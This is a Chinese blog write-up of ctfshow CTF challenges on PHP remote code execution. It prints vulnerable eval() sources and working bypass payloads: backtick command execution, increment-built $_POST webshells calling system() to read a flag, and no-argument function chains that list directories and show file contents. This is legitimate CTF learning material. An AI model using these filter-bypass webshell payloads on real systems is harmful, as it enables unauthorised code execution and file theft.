一些RCE的汇总

已于 2022-11-23 15:13:13 修改
阅读量1.2k 收藏 1
点赞数
CC 4.0 BY-SA版权
文章标签： php 开发语言
于 2022-11-23 15:12:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qaq517384/article/details/127976798
本文详细介绍了在PHP环境中，利用自增操作符绕过过滤实现远程代码执行（RCE）的各种方法，包括过滤特殊字符后的RCE构造、利用NaN和数组自增的技巧，以及在不同字符限制下的最小payload构造。还提到了无参数RCE的思路和常见函数的利用。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

RCE


前两天刚好ctfshow有个RCE极限大挑战，看着还挺好玩的，稍微摸了几个博客总结一下，感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适，加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤了(和.，wp有写文件包含，ls看了一眼直接开摆
在这里插入图片描述
因为php的反引号可以执行系统命令，就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

在这里插入图片描述

RCE-2p[自增-Array]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号，可以用的符号有’$_;+，可以确定是按照自增的方式来构造webshell进行RCE，payload构造过程：
从这里开始进入正题了，由于异或^和取反~都被过滤了，就可以用到数组[]和递增++了

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型，就能得到数据类型相对应的字符串

<?php
// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'<br>';
$_ = [].'';//Array
echo $_.'<br>';
$_ = "$_";//Array
echo $_.'<br>';
$_ = $_['!'=='@'];//Array[0]=>A
echo $_.'<br>';
echo '可以通过(0/0)来构造float型的NAN，(1/0)来构造float型的INF，然后转换成字符串型，得到"NAN"和"INF"中的字符了<br>';
@$a=(0/0);//NAN
echo $a.'<br>';
@$b=(1/0);//NAN
echo $b;
?>

在这里插入图片描述
exp就直接照抄了，因为0被过滤了，就只能用数组的A来自增了

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>

通过url编码后用Burpsuite工具POST上传即可
HackbarPOST的url编码会被以另一种编码上传到服务器，导致数据失真

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE-3[自增-NAN-<=105字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以看到01被放出来了，然后限制了长度为105字符
用RCE-2提到的(0/0)得到N,然后自增构造出$_POST一句话木马，过程wp里的注释已经清楚明了了

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增，所以这一句结束的时候 $a是P，$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

然后常规变量名替换成不可见字符变量名，得到payload：

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE-4[自增-NAN-<=84字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

开始上难度了，84字符，只可以用数字0，那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0]直接得到字母N，同时$a=(0/0._)会出现语法报错。
先演示

<?php
error_reporting(0);
$a = (_/_);
echo $a.'<br>';
$a = (_/_._);
echo $a.'<br>';
$a = (_/_._)[0];
echo $a;
?>

在这里插入图片描述

payload构造过程：

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增，自增完成之后再将值返回，也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

同上

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE-5[自增-gettext扩展]

题目源码

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以划重点记一下gettext的这个特性
限制73个字符，而且0也不可以用了，但是这里观察到phpinfo安装了一个扩展gettext，该扩展支持函数_() ,相当于gettext()，直接转化为字符串。另外，其实数组下标使用未定义常量，php会warning，但是可以继续运行，并返回下标为0的字符（现象是这样但是实际机制需要看php源码）。其余知识点上面都已经讲过了，剩下的就是靠经验和积累对payload进行精简，下面是payload构造过程：

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

更改变量名

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

72位字符

$$yysd

另外说一下，被师傅们拿到了72位字符的方法，感谢@狸师傅、@yun0tian等师傅们的创意，下面是payload构造过程：

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

PAYLOAD

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

关于为什么$_=$a.$a++;//PO，这还真说不出来，只能说，不管是$a++还是++$a,都是先第一位++，然后再照常执行++，先记着吧，后面万一想看php内核了就去研究一下

<?php
$d=1;
$c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++;
echo $c."<br>";
$d=1;
$c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d;
echo $c;
?>

在这里插入图片描述

68位字符

这个是真神，解释了我也看不懂

师傅们实在是太强了，目前在有gettext环境下，最短的payload长度是68！payload构造过程：

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

上面第三行其实可以分开来看，php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

因为$a还没赋值，此时仍为O，所以$a[$_++/$_++]因为下标为NAN不存在就取第一位了

真的是奇思妙想，尤其是$a[$_++/$_++]这个操作，把两个$_++;结合在一起，虽然比分开来写多用了一个字符，但是可以把拼接_POST的操作合并在同一行里，反而节省了更多字符。实在是太强了，感谢@lazy_forever、@Article_kelp师傅的创意。
PAYLOAD2

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

g4_simon：感谢师傅们的积极参与，我也在出题过程中学到了很多，师傅们在几小时内就把我研究了四天四夜的题给杀穿了，甚至比我想象的还要极限。本身CTF就是一个不断超越自己、超越极限的过程，希望这几个题能给师傅们带来一些启发。

启发，好大的启发。

无参数RCE

参考[RCE篇之无参数rce]

参考

RCE篇之无参数rce
PHP无参数RCE
无参数rce
浅谈无参数RCE
无参数RCE总结及文件读取学习

介绍

无参数rce，就是说在无法传入参数的情况下，仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果。
核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数.通过正则匹配将不带函数的函数替换为空，若最终结果为;则执行eval($_GET[‘code’]);
此时只能用 a(b(c()));来RCE而不是a(b(c));

例题

先来个buuctf的例题 GXY_CTF “禁止套娃”
.git源码泄露得到index.php

<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

三个正则，第一个禁用了一些伪协议，第二个就是无参数RCE，第三个过滤一些关键词。
最总Payload为：

?exp=print_r(scandir(pos(localeconv())));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

第一条从里向外解释一下
localeconv()
在这里插入图片描述
php直接var_dump()可以得到

array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } }

pos()

pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。pos()是current()的别名
与其同时使用的还有
next()指针后移并输出内容
prev()指针前移并输出内容

scandir()就是目录遍历。
连起来就是scandir(pos(localeconv()));等价于scandir('.');
print_r输出当前内容，达到一个目录遍历的效果。

第二条
在这里插入图片描述

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻转数组
然后next()获取到’flag.php’字符串，由于next()后的结果为字符串，所以不能next(next(Array))，局限性还是蛮大的
最后show_source()函数高亮文本内容得到flag

show_source() 函数对文件进行语法高亮显示。
本函数是 highlight_file() 的别名。

在这里插入图片描述

一些能用上的函数

getenv()获取当前环境变量
get_defined_vars()返回由所有已定义变量所组成的数组
	获取的四个全局变量$_GET、$_POST、$_FILES、$_COOKIE，返回一个二维数组
array_flip()交换数组中的键和值
array_rand()从数组中随机取出一个或多个单元
array_reverse()返回单元顺序相反的数组
array_flip()交换数组中的键和值
current()、pos()返回数组中的当前单元
getallheaders()这个函数的作用是获取http所有的头部信息
session_id()读取session，主要用法为session_id(session_start())
file_get_contents()将整个文件读入一个字符串
readfile()读取文件并写入到输出缓冲。
highlight_file()或show_source() — 语法高亮一个文件
getcwd()取得当前工作目录
scandir()列出指定路径中的文件和目录
chdir()改变目录
dirname()返回路径中的目录部分
rand()产生一个随机整数
chr()返回指定的字符
time()返回当前的 Unix 时间戳 
localtime()取得本地时间localtime(time()) 返回一个数组，Array [0] 为一个 0~60 之间的数字hex2bin()转换十六进制字符串为二进制字符串
ceil()进一法取整
sinh()双曲正弦
cosh()双曲余弦
tan()正切
floor():舍去法取整
sqrt()平方根
crypt()单向字符串散列hebrevc:将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord()返回字符串的第一个字符的 ASCII 码值。

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil，这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说，每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));
有点水啊
关注
CVE-2021-22205 GITLAB 未授权 RCE 漏洞
qq_32445755的博客
04-17 776
简介 GitLab是由GitLab Inc.开发的一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点，导致该漏洞在无需进行身份验证的情况下即可进行利用。 漏洞利用 上工具 python3 poc import sys import requests from bs4 import BeautifulSoup requests.packages.urllib3.disable_warnings() def .
无字母数字rce总结（自增、取反、异或、或、临时文件上传）
whale_waves的博客
02-29 3018
临时文件上传 通过上传文件然后用符号.调用执行文件 第一个知识点： 通过post上传文件，此时php会在linux里的零时文件夹保存文件，且文件一定是php加上六个随机的字符 /tmp/php?????? 这个应php保存的临时文件会有一个特性，就是这6个随机的字符会出现大写的情况 例如： 普通文件/tmp/adcabcabc php保存的临时文件/tmp/phpAvxAsa 第二个知识点： 现在直到了文件上传的位置以及特性那么现在要怎么利用它 shell下支持使用. 来
无数字字母rce总结（取反、异或、自增、临时文件）
A_991128a的博客
03-15 1040
目录取反异或或自增临时文件大概思路有取反、异或、自增，临时文件推荐文章无字母数字webshell总结 - 先知社区如图示，对phpinfo取反，再取反，仍然得到phpinfo，但是可以利用它进行一些对数字字母过滤的绕过paylaod: (~%8F%97%8F%96%91%99%90)();像这样： shell: 异或 这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了 那么怎么利用呢？ 像这样： 或 参考ctfshow web141payload大概这个样：?v1=1&v2=1&v3=%2b(“%
[ctfshow web入门] web122 命令执行，超多的环境变量过滤，但有HOME
最新发布
qq_50332504的博客
05-18 365
该题目涉及绕过PHP代码中的过滤机制，通过构造特定的命令来执行系统命令并获取flag。代码中过滤了多种字符和关键字，但允许使用HOME环境变量。通过利用$?（上一条命令的退出状态）和RANDOM环境变量，可以构造出有效的命令。最终，通过发送POST请求并解析响应，成功获取了flag的base64编码，并解码得到flag内容。整个过程展示了如何绕过严格的字符过滤，利用环境变量和系统命令执行漏洞来获取敏感信息。
无参数RCE
qq_75120258的博客
09-01 1429
自增（Increment）通常指的是将某个值增加一个固定的增量。在编程中，自增通常用于循环计数、迭代或者更新变量的值等情况。在许多编程语言中，自增操作可以通过使用++符号来完成。例如，在C语言中，++操作符可以用于将变量的值增加1。这儿我们对$_变量进行了自增操作，但是我们没有给变量$_进行定义值，那么php会自己给$_赋一个默认的值NULL==0可以发现，我们对$_进行了自增操作，最开始他的默认值是0，进行自增后他的值就为1了。
[SWPUCTF 2021 新生赛]finalrce wp
Leaf_initial的博客
04-12 810
PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000，超过1000000不会返回1或0而是false即超过限制即可。
RCE漏洞详解及绕过总结(全面)
永不落的梦想
07-10 2万+
包括RCE漏洞的原理，常见的造成RCE漏洞的函数解析，以及限制绕过的各种姿势
ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
qq_45079558的博客
09-08 451
其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码。判断是否存在漏洞：访问/index.php?s=captcha页面，会出现如下报错。切换目录到vulhub/thinkphp/5.0.23-rce下。使用HackBar 插件发送 POST 请求。端口为:8080,访问网站，搭建成功。访问shell.php，使用蚁剑连接。
ThinkPHP5 RCE漏洞详解与Payload汇总
"这篇博客文章是关于ThinkPHP5远程代码执行（RCE）漏洞的总结，主要探讨了两个主要版本的漏洞：ThinkPHP5.0-5.0.24和ThinkPHP5.1.0-5.1.30，并列举了一些可能的payload示例。" 在网络安全领域，尤其是对于Web应用...
php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结
weixin_34931142的博客
03-19 1362
一、ThinkPHP 5.0.23 rce漏洞复现与总结漏洞复现thinkphp 5.0.23 rcethinkphp 5.0.23 rce源码下载：github：https://github.com/top-think/framework/tree/v5.0.23影响版本ThinkPHP 5.0系列 < 5.0.23ThinkPHP 5.1系列 < 5.1.31安全版本ThinkPH...
Android安全漏洞报告与资源汇总：硬编码凭证和RCE风险
例如，一些应用可能会将用户的个人信息，如电话号码、邮箱地址、身份证号等敏感信息错误地存储在日志文件或外部存储中，容易遭到攻击者窃取。 RCE和ACE是指远程代码执行和应用控制执行，这两种漏洞都属于严重的安全...
RCE漏洞简介
永远是少年
12-10 6250
今天继续给大家介绍渗透测试相关知识，本文主要内容是RCE漏洞简介。 一、RCE漏洞简介与危害 二、代码执行和命令执行区别 三、RCE漏洞产生与防护
RCE(自增、取反、异或)
long_mingyue的博客
03-28 1131
也就是说，`'a'++ => 'b'`，`'b'++ => 'c'`... 所以，我们只要能拿到一个变量，其值为`a`，通过自增操作即可获得a-z中所有字符。// 输出：%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF。输出：%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF。若将取反后的字符再次取反，即可还原原始字符：~~'A' → 'A'
ctf中常见php rce绕过总结
2302_76827504的博客
04-28 2516
只是总结一些常见的姿势,大佬轻喷。
CTF命令执行及绕过技巧
热门推荐
JBlock的博客
03-07 2万+
前言 今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列！今天开启php代码审计系列！ 今天内容主要是CTF中命令注入及绕过的一些技巧！以及构成RCE的一些情景！ 文章目录前言正文代码执行代码执行的几种方式命令执行常见命令执行函数绕过姿势敏感字符绕过处理无回显的命令执行Think one Think 正文 在详细介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区...
无数字字母rce总结（取反、异或、自增）
qq_45392044的博客
02-24 1125
成功获取到了字符Array，然后我们获取想获取A的话，就可以采用[0]这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在[]里加一个==，此时因为空和不同，它就会输出0，此时也就等同于_[0]，具体实现代码如下。我们在构造POST中的时，正常操作的话是这样，a='_'.b(假设这里b就是POST)，然后这个时候如果'被ban，看似这里是无法再利用了，但其实，我们直接写a=.b也是可以的，这个时候效果同上而且缩短了字符长度。什么是异或，我们这里举一个例子，我们将字符 A。
RCE漏洞基础及CTF绕过
qq_61988806的博客
12-15 1039
对于两个二进制位，如果相应位相同则结果为 0，如果相应位不同则结果为 1。
ctfshow--RCE极限挑战
bossDDYY的博客
11-20 1964
使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST。phpinfo安装了一个扩展gettext，该扩展支持函数。，我们可以利用反引号执行命令 echo输出。我们跑一下 看看哪些字符没有被过滤。要保证构造payload长度小于。限制字符的自增 对于我来说较难。fuzz测试哪些字符没有被过滤。另外更有大佬的payload。fuzz测试什么没有被过滤。限制传入的参数长度小于等于。fuzz测试，可用字符。构造的payload。
CTFShow 2022——新手杯wp WEB题目
qq_60878323的博客
10-09 1419
小艾大佬的投稿支持 web AK了
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值